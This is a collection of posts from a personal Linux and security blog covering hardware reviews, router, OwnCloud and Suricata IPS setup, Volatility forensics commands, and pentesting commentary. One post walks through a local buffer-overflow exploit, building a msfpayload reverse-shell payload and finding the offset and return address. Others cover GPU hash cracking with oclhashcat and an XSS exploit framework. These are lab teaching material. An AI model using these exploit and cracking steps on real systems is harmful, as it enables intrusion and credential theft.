REVIEW - ZOTAC ZBOX ID42 Mini PC Hardware Review

Specifications

CPU : Intel Celeron 847 Dual Core 1.1 GHz
GPU : nVidia GeForce GT610 with 512MB DDR3 (with 48 CUDA)
RAM : 2 x 204-pin DDR3 SO-DIMM slots (up to 16GB)
Ethernet : 2 X 1000Mbps (Realtek)
WiFi : Intel Wireless-N 135 (802.11n)
USB : 2 x USB 3.0 and 2 X USB 2.0
Audio : onboard, HDMI audio (bitstream)
Display : HDMI and DVI
Hard Drive : 2.5 inch HDD
Bluetooth : onboard

Operating System Support

Linux : Ubuntu 12.04 LTS (Server and Desktop)
Windows : Windows 7 and 8 Ready (not tested)

The box is running quiet smooth and fast on Ubuntu 12.04 LTS Server and Desktop. However, the area near the power slot is quiet hot compares with other areas of the box.

The ethernet and wireless as well as bluetooth are supported Ubuntu 12.04 LTS Server and Desktop out of the box.

The HDMI and audio of the box did not test during this review.

The size of the box is very slim and small compares with DIY ITX boxes. It is also lightweighted as the box classis is made by plastic.

Conclusion

This box is ideal for Linux Server and Desktop usage. However, the endurance of the box for Linux Server that running 24x7 is unknown. The price of the box is also attractive. Recommended.

That's all! See you.

HOWTO : Wired router connected to wireless router with WDS

I have two identical TP-Link TL-WR1043ND routers and they are both flashed with DD-WRT (build 20548). I connect these two routers together with a wired router and the tutorial is here. The new setup is wired router to wireless router and then wireless router. The two wireless routers are act as WDS (Wireless Distribution System). The firmware of DD-WRT can be download here.

At the tab of "WDS" on each router, make sure they are set to "LAN" and set to other's MAC address. Select "Lazy WDS" for both routers and "Apply Settings".

Make sure all the wireless setting on the both routers are identical, such as channel and etc. Also make sure the security wireless setting are disabled on both routers at the moment. We will enable it later.

The wireless router that is connected to the wired router is A and the other wireless is named B. Make sure to disable the firewall at the router B which is not the one connected to the wired router.

On the router B (which is not connected to the wired router), set the Internet "Connection Type" to "Disabled". The "DHCP Type" is set to ""DHCP Forwarder". The "Local IP Address" is set to the same network (subnet) of the wired router but in a different IP address. The "Gateway" is set to the address of the router A that connected to the wired router. The "DHCP Server" is set to the address of wired router.

For example, wired router IP address is 192.168.0.1 and it is act as DHCP server. Router A address is 192.168.0.80 and the settings is same as the captioned link at the beginning of this article. Router B address is 192.168.0.90 and the gateway is set to 192.168.0.80 and the DHCP server address is set to 192.168.0.1.

Enable the wireless security setting on router B and then A. They should be identical too. Now, you can connect to the internet properly without problem.

That's all! See you.

HOWTO : OwnCloud with Apache on Ubuntu Server 12.04 LTS

At the early beginning, I want to create an OwnCloud server (4.5.6) with Hiawatha (8.7) on Ubuntu Server (12.04). However, I encounted a lot of problems when making it working properly. The main problem is that I cannot make any changes through the OwnCloud web interface and the applications cannot be activated and deactivated.

However, OwnCloud with Apache on Ubuntu Server is not a bad idea indeed. Furthermore, OwnCloud is designed for Apache environment. So, let's go.

OwnCloud will use your whole hard drive capacity. Therefore, the server should be dedicated for the purpose. Consider to use hardware RAID 1, 5 or 6 if possible.

(A) Installation of Ubuntu Server

Install Ubuntu Server 12.04 LTS as usual. Make sure you choose OpenSSH server, LAMP server and Mail Server when ask. Make sure you write down the MySQL password and make it strong enough.

(B) Installation of OwnCloud

To make the work simple, I choose to install from the Ubuntu respository even it is an old version as I want it to install a lot of packages automatically. Later, I will install the latest version from OwnCloud respository.

sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install owncloud

wget http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/Release.key
sudo apt-key add - < Release.key

sudo -i
echo 'deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/ /' >> /etc/apt/sources.list.d/owncloud.list

Exit from root.

sudo apt-get update
sudo apt-get install owncloud

sudo chown -R www-data:www-data /var/www/owncloud/

(C) Configuration of Apache and .htaccess

sudo nano /etc/apache2/sites-enabled/000-default

Change all "AllowOverride" setting from "None" to "All".

And set "/var/www" or "/var/www/" to "/var/www/owncloud" or "/var/www/owncloud/" respectively.

sudo nano /var/www/owncloud/.htaccess

You can change the following values if necessary :

php_value upload_max_filesize 512M
php_value post_max_size 512M
php_value memory_limit 512M

Append "AcceptPathInto On" at the end of the file. Then save and exit.


sudo a2enmod rewrite
sudo a2enmod fcgid
sudo a2enmod headers

sudo /etc/init.d/apache2 restart

*** Please also to Official Manual and Administrators Manual for detail.

(D) Installation of OwnCloud via Broswer

Open Firefox and point the url to OwnCloud (e.g. http://192.168.0.100).

OwnCloud will create an Admin account when you first access the web interface.

Enter your Admin User Name (OwnCloud will create for you).
Enter your Admin Password (OwnCloud will crate for you).

Click "Advance" button to select MySQL.
Enter MySQL Admin User Name (e.g. root).
Enter MySQL Admin Password (The password when you install Ubuntu Server and MySQL that you have entered).
Enter Database Name that you want to use for this server (e.g. owncloud).

Press "Enter".

Then, you can configure your OwnCloud server via browser.

*** Make sure to backup the /var/www/owncloud/config/config.php

(E) Installation of OwnCloud client for desktop

Go to the Offical site to download (http://owncloud.org/sync-clients/).

If Ubuntu Desktop user, you can install it via the respository. The installation is similar to OwnCloud Server.

Make sure to add the "/usr/bin/owncloud" to the "Application Startup Preference" in order to make it to launch on every system boot up.

(F) Installation of Fail2ban

sudo apt-get install fail2ban

Make sure the ssh setting is set to "true".

sudo nano /etc/fail2ban/jail.conf

(G) Installation of Suricata (Optional)

You can refer to this link to install IPS on your Ubuntu Server.

(H) Tunning of MySQL (Optional)

You can refer to the MySQL section for tunning the performance of MySQL.

(I) Secure your Ubuntu Server in a passive way (Optional)

You can refer to this link for securing your Ubuntu server in a passive way.

(J) Send mail to GMail via Postfix (Optional)

You can configure your Postfix mail server to sent mail via GMail. You can refer to this link for detail.

(K) Logwatch (Optional)

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install logwatch

Make changes to the logwatch configure file in order to tell her to send you a email report.

sudo nano /usr/share/logwatch/default.conf/logwatch.conf

Change the settings of the following lines.

Output = mail
Format = html
MailTo = samiux@gmail.com

(L) Secure Apache (Optional)

You can refer to this link to make your Apache more secure.

Remarks : I just found out that mod-security may problem for operating the OwnCloud. It should be disabled.

(M) SSL for Apache (Optional)

You can secure your connection with SSL (HTTPS) in Apache. You can refer to this link.

sudo a2enmod ssl
sudo a2ensite default-ssl
sudo nano /etc/apache2/sites-enabled/default-ssl

Make some change on the file.

(N) Apparmor for Aapche (Optional)

sudo apt-get install apparmor-profiles apparmor-utils

Copy the following in a file namely "usr.lib.apache2.mpm-prefork.apache2" and placed it at "/etc/apparmor.d/" :



sudo aa-enforce usr.lib.apache2.mpm-prefork.apache2

Remarks :

At this writing, users cannot upload a file that is larger than 2GB to the OwnCloud via the web interface for 64-bit system. However, the client sync program can do it. The bug has been filed.

If your server is behind Cloudflare, your maximum file size upload via web interface should be limited to 50MB and you should disable the caching feature in the Cloudflare too.

Reference :

Apparmor manual for Ubuntu

That's all! See you.

HOWTO : Suricata on SSD and Ubuntu 12.04 LTS Desktop

Hardware

Laptop : Lenovo ThinkPad X201s Type 5397-G9B
Processor : Intel Core i7 CPU L640 @ 2.13GHz (2-core with 4 HT)
Memory : 8GB DDR3 RAM
Storage : AData SX900 512GB SSD

Software

Operating System : Ubuntu Desktop 12.04 LTS x86_64
Intrusion Prevention System : Suricata 1.4 (inline mode)

Introduction

Suricata is an Open Source Next Generation Intrusion Detection and Prevention Engine. This engine is not intended to just replace or emulate the existing tools in the industry, but will bring new ideas and technologies to the field.

There is an Ubuntu PPA of Suricata for Ubuntu 10.04 to 13.04 and the Ubuntu 13.04 is included Suricata in her repositories too. Meanwhile, those packages have IPS mode through NFQUEUE enabled. In addition, Suricata supports nVidia CUDA which requires to recompile the source code with suitable parameter.

Suricata not only can installed on servers but also on desktops and laptops. It performs quiet well on an Intel Atom ITX machine.

For the features, please read here for details.

Installation

Step 0 :

This step is for SSD only and make sure you have enough memory.

sudo nano /etc/fstab

Add the following to the "/" (or "/home" and "/" or alike) :

discard,noatime,nodiratime

To make it look like :

UUID=99f0925f-badc-4939 .... -7df6eca0c720 / ext4 discard,noatime,nodiratime,errors=remount-ro 0 1

Then, add the following :

tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0
tmpfs /var/spool tmpfs defaults,noatime,mode=1777 0 0
tmpfs /var/log tmpfs defaults,noatime,mode=0755 0 0
tmpfs /var/log/suricata tmpfs defaults,noatime,mode=0755 0 0

After that, edit the following :

sudo nano /etc/rc.local

Add the following right before the "exit 0" :

echo deadline > /sys/block/sda/queue/scheduler
echo 1 > /sys/block/sda/queue/iosched/fifo_batch

Step 1 :

sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata htp

Step 2 :

To get the Emerging Threats rules :

cd /etc/suricata/

sudo wget https://rules.emergingthreatspro.com/open/suricata/emerging.rules.tar.gz

sudo tar -xvzf emerging.rules.tar.gz

sudo ln -s /etc/suricata/rules/reference.config /etc/suricata/reference.config

sudo ln -s /etc/suricata/UbuntuPPA-configs/classification.config /etc/suricata/classification.config

sudo cp /etc/suricata/UbuntuPPA-configs/suricata-ppa-1.4-6ubuntu6.yaml /etc/suricata/suricata.yaml

*** You can use reference.config and classification.config at /etc/suricata/rules.

sudo touch /etc/suricata/threshold.config

Step 3 :

sudo nano /etc/suricata/suricata.yaml

Locate the following lines :

default-log-dir: /usr/local/var/log/suricata/
default-rule-path: /usr/local/etc/suricata/rules
classification-file: /usr/local/etc/suricata/classification.config
reference-config-file: /usr/local/etc/suricata/reference.config
#pid-file: /var/run/suricata.pid
#- rule-reload: true
#threshold-file: /usr/local/etc/suricata/threshold.config

- drop
enable: no

Replace with the following lines :

default-log-dir: /var/log/suricata/
default-rule-path: /etc/suricata/rules
classification-file: /etc/suricata/classification.config
reference-config-file: /etc/suricata/reference.config
pid-file: /var/run/suricata.pid
- rule-reload: true
threshold-file: /usr/local/etc/suricata/threshold.config

- drop
enable: yes

To test if it work or not :

sudo suricata -c /etc/suricata/suricata.yaml -i eth0

Several minutes later, check the /var/log/suricata/stats.log and /var/log/suricata/http.log to see if there are some entries or not.

Step 4 :

sudo iptables -A INPUT -j NFQUEUE
sudo iptables -A OUTPUT -j NFQUEUE
sudo iptables -A FORWARD -j NFQUEUE

To test if it work or not :

sudo suricata -c /etc/suricata/suricata.yaml -q 0

Step 5 :

sudo apt-get install oinkmaster

sudo nano /etc/oinkmaster.conf

Append the following line :

url = https://rules.emergingthreatspro.com/open/suricata/emerging.rules.tar.gz

sudo oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules

Step 6 :

When everything is working fine, you can put them in the /etc/rc.local just right above "exit 0" :

iptables -A INPUT -j NFQUEUE --queue-balance 0:3
iptables -A OUTPUT -j NFQUEUE --queue-balance 0:3
iptables -A FORWARD -j NFQUEUE --queue-balance 0:3
/etc/suricata/ips

Then create a file /etc/suricata/ips :

sudo nano /etc/suricata/ips
suricata -D -c /etc/suricata/suricata.yaml -q 0 -q 1 -q 2 -q 3

chmod +x /etc/suricata/ips

Then create the update-rule

sudo nano /etc/suricata/update-rules

oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
kill -USR2 `pidof suricata`

sudo chmod +x /etc/suricata/update-rules


Step 7 :

Whenever you want to update the rules, you can :

sudo /etc/suricata/update-rules

That's all! See you.

The Volatility Framework

The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer unprecedented visibilty into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.

The following video and command list are not created by me, I just copied them for the reference. Please credit to the video maker.



Commands list

./vol.py –f zeus.vmem pslist

To list the processes of a system, use the pslist command.

./vol.py –f zeus.vmem malfind

You can use it to find hidden or injected code/DLLs in user mode memory

./vol.py –f zeus.vmem ldrmodules

To find out the hidden dll

./vol.py –f zeus.vmem apihooks

To find API hooks in user mode or kernel mode

./vol.py –f zeus.vmem idt

IDT (Interrupt Descriptor Table)

./vol.py –f zeus.vmem gdt

Gdt (Global Descriptor Table)

./vol.py –f zeus.vmem threads –L

The command gives you extensive details on threads

./vol.py –f zeus.vmem callbacks

Callbacks for detecting Windows kernel use of these callbacks to monitor and/or react to events.

./vol.py –f zeus.vmem driverirp

To print a driver's IRP Major Function table

./vol.py –f zeus.vmem devicetree

Windows uses a layered driver architecture

./vol.py –f zeus.vmem psxview

This plugin helps you detect hidden processes.

Source : - Volatility Wiki

That's all! See you.

BackTrack Reborn - Kali Linux

This article is deleted due to this reason.

HOWTO : Suricata on Ubuntu 12.04 LTS Server

Suricata is an Open Source Next Generation Intrusion Detection and Prevention Engine. This engine is not intended to just replace or emulate the existing tools in the industry, but will bring new ideas and technologies to the field.

There is an Ubuntu PPA of Suricata for Ubuntu 10.04 to 13.04 and the Ubuntu 13.04 is included Suricata in her repositories too. Meanwhile, those packages have IPS mode through NFQUEUE enabled. In addition, Suricata supports nVidia CUDA which requires to recompile the source code with suitable parameter.

Suricata not only can installed on servers but also on desktops and laptops. It performs quiet well on an Intel Atom ITX machine.

For the features, please read here for details.

The following is a basic and general setup of Suricata. For more advanced settings, please refer to the Reference below.


Step 1 :

sudo apt-get install python-software-properties
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata htp

Step 2 :

To get the Emerging Threats rules :

cd /etc/suricata/

sudo wget https://rules.emergingthreatspro.com/open/suricata/emerging.rules.tar.gz

sudo tar -xvzf emerging.rules.tar.gz

sudo ln -s /etc/suricata/rules/reference.config /etc/suricata/reference.config

sudo ln -s /etc/suricata/UbuntuPPA-configs/classification.config /etc/suricata/classification.config

sudo cp /etc/suricata/UbuntuPPA-configs/suricata-ppa-1.4-6ubuntu6.yaml /etc/suricata/suricata.yaml

*** You can use reference.config and classification.config at /etc/suricata/rules.

sudo mkdir /var/log/suricata
sudo touch /etc/suricata/threshold.config

Step 3 :

sudo nano /etc/suricata/suricata.yaml

Locate the following lines :

default-log-dir: /usr/local/var/log/suricata/
default-rule-path: /usr/local/etc/suricata/rules
classification-file: /usr/local/etc/suricata/classification.config
reference-config-file: /usr/local/etc/suricata/reference.config
#pid-file: /var/run/suricata.pid
#- rule-reload: true
#threshold-file: /usr/local/etc/suricata/threshold.config

- drop
enable: no

Replace with the following lines :

default-log-dir: /var/log/suricata/
default-rule-path: /etc/suricata/rules
classification-file: /etc/suricata/classification.config
reference-config-file: /etc/suricata/reference.config
pid-file: /var/run/suricata.pid
- rule-reload: true
threshold-file: /usr/local/etc/suricata/threshold.config

- drop
enable: yes

To test if it work or not :

sudo suricata -c /etc/suricata/suricata.yaml -i eth0

Several minutes later, check the /var/log/suricata/stats.log and /var/log/suricata/http.log to see if there are some entries or not.

Step 4 :

sudo iptables -A INPUT -j NFQUEUE
sudo iptables -A OUTPUT -j NFQUEUE
sudo iptables -A FORWARD -j NFQUEUE

To test if it work or not :

sudo suricata -c /etc/suricata/suricata.yaml -q 0

Step 5 :

sudo apt-get install oinkmaster

sudo nano /etc/oinkmaster.conf

Append the following line :

url = https://rules.emergingthreatspro.com/open/suricata/emerging.rules.tar.gz

sudo oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules

Step 6 :

When everything is working fine, you can put them in the /etc/rc.local just right above "exit 0" :

#iptables -F
iptables -A INPUT -j NFQUEUE
iptables -A OUTPUT -j NFQUEUE
iptables -A FORWARD -j NFQUEUE

/etc/suricata/ips

Then create a file /etc/suricata/ips :

sudo nano /etc/suricata/ips
suricata -D -c /etc/suricata/suricata.yaml -q 0
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
kill -USR2 `pidof suricata`

chmod +x /etc/suricata/ips

Then you can write a cron job to update Emerging Threats Rules everyday.

sudo crontab -e

Append the following :

@daily /etc/suricata/update-rules

Then create the update-rule

sudo nano /etc/suricata/update-rules

oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
kill -USR2 `pidof suricata`

sudo chmod +x /etc/suricata/update-rules


Remarks :

If you want to create a user-interface for the IPS, you can refer to the "Reference" item [12].

If the Suricata acts as IPS gateway, it requires to bridge 2 NICs and 1 NIC for management purpose. In addition, you need to do some changes on the configure files.

If you have 4-cores CPU, you need to change the settings as the following :

iptables -A INPUT -j NFQUEUE --queue-balance 0:3
iptables -A OUTPUT -j NFQUEUE --queue-balance 0:3
iptables -A FORWARD -j NFQUEUE --queue-balance 0:3

suricata -D -c /etc/suricata/suricata.yaml -q 0 -q 1 -q 2 -q 3





Reference

[1] OISF - Open Information Security Foundation
[2] Ubuntu PPA
[3] Suricata - Features
[4] Suricata Rules
[5] Rules reload
[6] Rule Management with Oinkmaster
[7] SmoothSec 2.1 (Suricata IDS distribution)
[8] Setting up IPS/inline for Linux
[9] Installation with CUDA on Ubuntu Server
[10] Suricata, Snorby and Barnyard2 setup guide
[11] Kill process in Linux or terminate a process in UNIX or Linux systems
[12] Installing Snorby on Ubuntu 12.04
[13] Suricata.yaml
[14] Suricata IPS information
[15] Suricata - Windows
[16] Suricata - Mac OSX
[17] Suricata - FreeBSD

That's all! See you.

We Are Legion: The Story of the Hacktivists

Want to know more about Anonymous and Hacktivists? Here you are ....

*** Please note that English subtitle is available and its colour can be configured. ***



That's all! See you!

Why You Need To Learn Hacking Skills (2013)?

Male : I am managing a network and some servers. Ah, how to protect them from being compromised?

Female : In general speaking, you need to know how to hardening your network and servers.

Male : I followed all the advices and suggestions from the internet, such as security discussions or wiki. Some advices are asking me to read logs. However, I learnt from the internet that some exploit activities will not be logged. Any suggestion?

Female : Why not learn how malicious hackers thinking and doing in order to protect your network and servers?

Male : What that means?

Female : To be an Ethical Hacker in order to protect your network and servers. Then, you will be thinking like a criminal and act as a professional.

Male : It sounds good. However, when I ask for something about hacking skills in the forums, those guys in the forums always turn me down. Sometimes, they will misleading me.

Female : Why not take some formal training on hacking? Such as OSCP or CEH? Those courses will teach you about hacking skills or knowledge. When you know how malicious hackers thinking and doing, you will know how to protect your network and servers well. Ethical Hackers and Malicious Hackers are speaking the same language, using the same tools and playing the same game. Learn to hire a thief to try to steal something but don't hire a cop.

Male : Sure. Thanks for the suggestion.

Female : You're welcome.

That's all! See you.

HOWTO : Xenotix XSS Exploit Framework V2

Xenotix XSS Exploit Framework is developed by Kerala Cyber Force.

The exploitation framework in the tool includes a XSS encoder, a victim side XSS keystroke logger, an Executable Drive-by downloader and a XSS Reverse Shell.



That's all! See you.

EXPLOIT-DEV : Simple Buffer Overflow exploit writing on Linux

I am going to do a simple buffer overflow on 32-bit Linux. The target application software is namely vuln-server which you can download here.



Why I use this software? It is because this echo server is acting difference to normal echo server. It will echo back the message in reverse order.

Does it matter? Yes, it does matter when you are developing the exploit. The shellcode should be reversed and the return address should not be reversed. It is quite difference to the normal exploit writing.

I develop this exploit under BackTrack 5r3 (32-bit). Let's compile this echo server with gcc with the following switches in order to disable the stack protection.

gcc vuln-server.c -o vuln-server -static -fno-stack-protector -z norelro -ggdb

Run the vuln-server :

./vuln-server 5700

Open another terminal to run the client :

nc -vv 127.0.0.1 5700
Connection to 127.0.0.1 5700 port[tcp/*] succeeded!
Type QUIT on a line by itself to quit

Enter something on the client, for example :

Connection to 127.0.0.1 5700 port[tcp/*] succeeded!
Type QUIT on a line by itself to quit
hello world
dlrow olleh

You will find out that the message you entered is echo back in reverse order.

The server side will display :

127.0.0.1:41959 hello world

Now, write a python script to send 500 bytes of data to the echo server.



Run it and you will find out that the EIP register is overwritten by A's.

Go to create a 500 unique characters to overwrite the EIP.

./pattern_create.rb 500

Copy the result to the captioned python script and replace the junk with the pattern.

Run the python the modified python script again and you will find out that the EIP is overwritten with 0x416c3341.

Reverse the address and find the offset with the following command :

./pattern_offset.rb 0x41336c41 500
[*] Exact match at offset 339

So, the offset is 339.

Now, to create the shellcode with msfpayload and encoded with alpha_upper encoder in order to avoid the bad characters.

msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -e x86/alpha_upper

However, we need to reverse the shellcode with the following python script.

shellcode = "blah blah ...."
shellcode = shellcode[::-1]
shellcode.encode("hex")
print shellcode

Then, add back the "\x" to the shellcode on every two characters.

Okay, it is high time to find the return address.

msfelfscan -j esp vuln-server
[vuln-server]
0x08064e49 push esp; ret
0x08064ea7 push esp; ret
0x08065f71 push esp; ret
0x08081949 push esp; ret
0x08085df9 push esp; retn 0x8934
0x080a56e9 push esp; ret
0x080c37ab jmp esp
0x080c388f jmp esp
0x080c38b7 jmp esp
0x080c3c3f jmp esp
0x080c3d17 jmp esp
0x080c3da7 jmp esp
0x080c3db3 jmp esp
0x080c3dd3 jmp esp
0x080c532b jmp esp <----- selected this one

I select the last one as the return address.

As I mentioned, this echo server is acting difference to others. The flow of the exploit is not running forward but backward. The final exploit python script is like that :



Now, run the listener at port 4444 and run the echo server then run the exploit python script. Yeah, we got the shell.



Therefore, never run any program with root.

That's all! See you.

Great talks about Security products and how they suck

The following talks are presented by Joe McCray. He will show you how to bypassing the very expensive (sometimes) security products which claimed themselves can protect your network/system from being attack.

He also urge all the bosses to put more budget on security guys and security training but not just purchase a (or some) security product(s) only.

Bio :

Joe McCray - Advanced Security Lead Instructor

Joseph McCray is the lead / head instructor for Advanced Security by Academy of Computer Education. Joe oversees the quality of instruction of all of our hacking and forensics courses and makes sure that our entire team of instructors has what they need and is prepared to the fullest for each and every class. Joe has been leading Advanced Security's hacking and forensics training classes since 2004.

Joe McCray is a retired Air Force Veteran and has been in security for over 15 years. Joe has been involved in over 150 very high level pentesting assessments and has some major hacking accomplishments that he can share with his classes. His extensive experience and deep knowledge, mixed with his comedic style has lead Joe to be one of the most highly sought after speaking experts in the industry. Joe makes speaking appearances and gives seminars at major events in the security community such as Black Hat, DefCon, BruCon, Hacker Halted and more. Joe is the recipient of the 2009 EC-Council Instructor Circle of Excellence Award and the 2010 EC-Council Instructor of the Year Award. Joe also runs a successful international security training website called Strategic Security.


Please watch them in an open mind. Here we go :

Hacktivity 2012 - Big Bang Theory : The Evolution of Pentesting High Security Environments





Defcon 18 - You Spent All That Money and You Still Got Owned???





You Spent All That Money and You Still Got Owned????




That's all! See you.

HOWTO : Setup My Back|Track 5r3 Personal Supercomputer

My Hardware

CPU : Intel i7-3930K (6 cores, 12 cores with Hyper-Threading, Socket 2011)
Motherboard : ASUS SaberTooth X79
RAM : Corsair Vengeance DDR3 1600 32GB (4GB x 8)
Display Card : Inno3D nVidia GeForce GTX 590 384bit 3072MB DDR5 x 2
Hard Drive : WD SATA III 3TB
Power Supply : Seasonic X-series 1250W
Cooling : Water cooling system with EK products
Case : Lian Li PC-z70 (modified)

My Operating System

Back|Track 5r3 64-bit system as the host operating system for the captioned hardware.

My Problem

When boot up the Back|Track 5r3 and started "startx", the screen of the monitor will be black out. It is because I have nVidia display card in the system.

The only way to solve it is when booting up to the Back|Track 5r3, press "Tab" in the boot option menu. Then enter the following at the end of "text splash vga=791".

text splash vga=791 nomodeset

After that, the Back|Track 5r3 will boot up after entering the command "startx". Install the system as usual to your hard drive.

After the installation is completed, do not reboot the system. Edit the following file instead after mounted the partitions of the hard drive.

nano /etc/default/grub

Locate 'GRUB_CMDLINE_LINUX_DEFAULT="text splash vga=791"' and append the following :

text splash vga=791 nomodeset

and it will be looking like this :

GRUB_CMDLINE_LINUX_DEFAULT="text splash vga=791 nomodeset"

Then execute the following commands :

update-grub
fix-splash

Reboot the system.

My nVidia and CUDA drivers

Install the nVidia current driver from the repos of Back|Track :

apt-get update
apt-get install nvidia-current nvidia-current-modaliases nvidia-settings

After the nVidia driver is installed, execute the following command :

nvidia-xconfig

Now, it is high time to install the CUDA driver. Go to the CUDA Developer site and download the driver. Make sure you selected Ubuntu 10.04 version.

64-bit version :

wget http://developer.download.nvidia.com/compute/cuda/5_0/rel-update-1/installers/cuda_5.0.35_linux_64_ubuntu10.04-1.run

32-bit version :

wget http://developer.download.nvidia.com/compute/cuda/5_0/rel-update-1/installers/cuda_5.0.35_linux_32_ubuntu10.04-1.run

After the download, make it the be executable.

For example :

chmod +x cuda_5.0.35_linux_64_ubuntu10.04-1.run

Then, install it and follow the instruction on screen. Accept the default settings.

cuda_5.0.35_linux_64_ubuntu10.04-1.run

The last step for the installation is to set up the path of the executable files and libraries.

nano /root/.bashrc

Append the following line at the end of the file.

PATH=$PATH:/usr/local/cuda-5.0/bin

nano /etc/ld.so.conf.d/cuda.conf

Add the following lines to the file.

/usr/local/cuda-5.0/lib
/usr/local/cuda-5.0/lib64

Then execute the following command and reboot afterward.

ldconfig

My Hash Cracking Power

We use oclhashcat+ to test the performance of the cracking power of this hardware.

cd /pentest/passwod/oclhastcat+
./cudaExample0.sh
./cudaExample400.sh
./cudaExample500.sh

If you can see the hashes are cracked, the CUDA is setting up properly.

My Addtional Softwares

This host is for hashes and passwords cracking. The penentration testing work will be doing on virtual machines.

I will install virtualbox, sysinfo, shutter, synaptic, gtk-recordmydesktop, and sensors-applet to enhance the function of this host.

By the way, I need to fix the minor bugs of the Back|Track 5r3.

Bug #1 :

There is no sound since Back|Track 5.

mkdir /root/.config/autostart
nano /root/.config/autostart/pulseaudio.desktop

Add the following lines to the file.

[Desktop Entry]
Type=Application
Exec=/usr/bin/pulseaudio
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Pulseaudio
Comment=Start Pulseaudio

Bug #2 :

Wicd cannot connect to D-Bus since Back|Track 5.

dpkg-reconfigure wicd
update-rc.d wicd defaults

That's all! See you.

HOWTO : Install edb-debugger on Ubuntu 12.10

When we are doing debugging work on Windows system, we will use Immunity Debugger or Olldbg. Those are very good debuggers for Windows system. When doing debugging work on Linux, there is a command line version, namely GDB (The GNU Project Debugger). How about the GUI version of Linux debugger? Yes, there is one available, it is namely Evan's Debugger (edb-debugger).

The current version is 0.9.18. However, it is not working properly on Ubuntu 12.04 LTS and 12.10. The available deb package version 0.9.17 cannot work properly on the captioned version of Ubuntu too.

The only solution is to install the svn version (current is 0.9.19). I am going to show you how.

Step 1 :

sudo apt-get update
sudo apt-get install libqt4-dev libboost1.48-all-dev subversion

Step 2 :

svn checkout http://edb-debugger.googlecode.com/svn/trunk/ edb-debugger
cd edb-debugger
qmake
make
sudo make install

Step 3 :

To see where is the edb installed to.

whereis edb

The following is showing the 64-bit system :

/bin/edb /lib64/edb

Go back to the user directory, such as /home/samiux.

cd /home/samiux
mkdir .edb

Step 4 :

Run the program :

sudo edb

Once the program is launched, there is a popup saying that the library files cannot be located. You need to go to the "Directories" at the "Preferences".

Symbol Directory - /home/samiux/.edb
Plugin Directory - /lib64/edb/
Session Directory - /home/samiux/.edb

That's all! See you.

Love Your Neighbour as Yourself

Again, this time I am not going to talk about IT or Infosec.

A video is better than a thousand words ....



That's all! See you.

Quit smoking now!

This time I am not going to talk about IT or Infosec. I am going to show you a Thai made quit smoking advertising. If you are a smoker, I would like you to have some minutes to watch. May be you will agree with the video.



That's all! See you.

HOWTO : Make Sure Your Server Is Really Hidden

You are so brilliant to find a way to hide your server from the internet. However, you are not 100% sure. By using Penetrating Testing tools, you can confirm your hidden server is really hidden.

Here we use the tools in the BackTrack 5 r3.

nmap -sS -sV -v -Pn samiux.com

cd /pentest/enumeration/dns/fierce/

perl fierce.pl -dns samiux.com

*** where "samiux.com" is the domain name, here is only an example.

From the last output result, make sure your server IP address is not listed when she says that she is hidden.

Now, your server IP address is not shown. So, your server is really hidden? I guess not, maybe. To further test it with the searchdns.netcracft.net for the history records. You may find your server's IP address history records unfortunately (if any).

If your server IP address is in the history record of netcracft, you may consider to change the IP address when necessary in order to hide your server from the internet.

That's all! See you.

DerbyCon 2012 - Intro to Linux System Hardening

Too sad that this talk is only from System Administrator to System Administrator but not for Information Security (InfoSec) guys. The speaker, Chris Jenks (rattis), is in the view of System Administrator to harden Linux system instead of an InfoSec view. However, it is an InfoSec Conference. Strange.

In general, a System Administrator has no knowledge of about how malicious hackers thinking and doing. Their knowledge about InfoSec is limited. They just guessing what they done can prevent from being attack.

Description of the Talk (Written by the speaker) :

This introductory level talk is designed for people that know a little bit about Linux and a how to run Backtrack. The main target audience would have a junior level administration experience, who also knows about Bactrack.

It looks at how to do basic system hardening on CentOS and Ubuntu, using systems with default installs. It then looks at using those same tactics to systems running Backtrack. Along the way, I discuss why I don’t like using virtual machines, multiboot, liveCD or USB to run Bactrack in the field, and why I think it should be ran on a dedicated machine.

BIO of Speaker :

Experience includes fifteen years of network engineering and thirteen years system administration. He is currently studying Information Assurance at Eastern Michigan University. That degree will supplement his degrees in Computer Information Systems and Anthropology. Certifications include Security+ and Offensive Security Wireless Professional. Involved in Michigan’s Locksport scene, and a regular at Arbsec and MiSec. He’s the ”rat” in the Rats and Rouges InfoSec Podcast.



My Own Opinion :

Basically, BackTrack Linux is a Linux distribution for Penetration Testing. That mean, it is a tool for attackers (you can think like this in order to make your mind clear). Just like Thai boxers who will not wear any protective equipment to protect themselve during the fight. It is because those protective equipment may causing obstruction to their performance in the fight.

However, the speaker of the talk advised users of BackTrack to enable firewall (iptables) and configure the Apache web server to listen to the localhost (127.0.0.1). He also suggests to re-configure the SSH to not allow root login and create a sudoer account. More tools, such as denyhosts, fail2ban, tripwire and logcheck, are also advised to be installed in BackTrack.

If firewall is enabled and other tools (such as denyhosts, fail2ban, tripwire) to be installed in BackTrack, it is something like shooting on our foot when using it to do the pentesting. Meanwhile, the speaker do not know the function of the Apache web server at the BackTrack as he do not know why she is there. Moreover, SSH in BackTrack is for attack purpose instead of administration function. Almost all the tools in BackTrack requires root privilege to run, therefore, the sudoer account is not required.

BackTrack is not a normal Linux distribution for general users to use daily and casually. It is a special designed distribution for Penetration Testing; it is designed for attackers (you can think that Penetration Tester is an attacker but he is not a bad guy). It is designed to attack but not to defence.

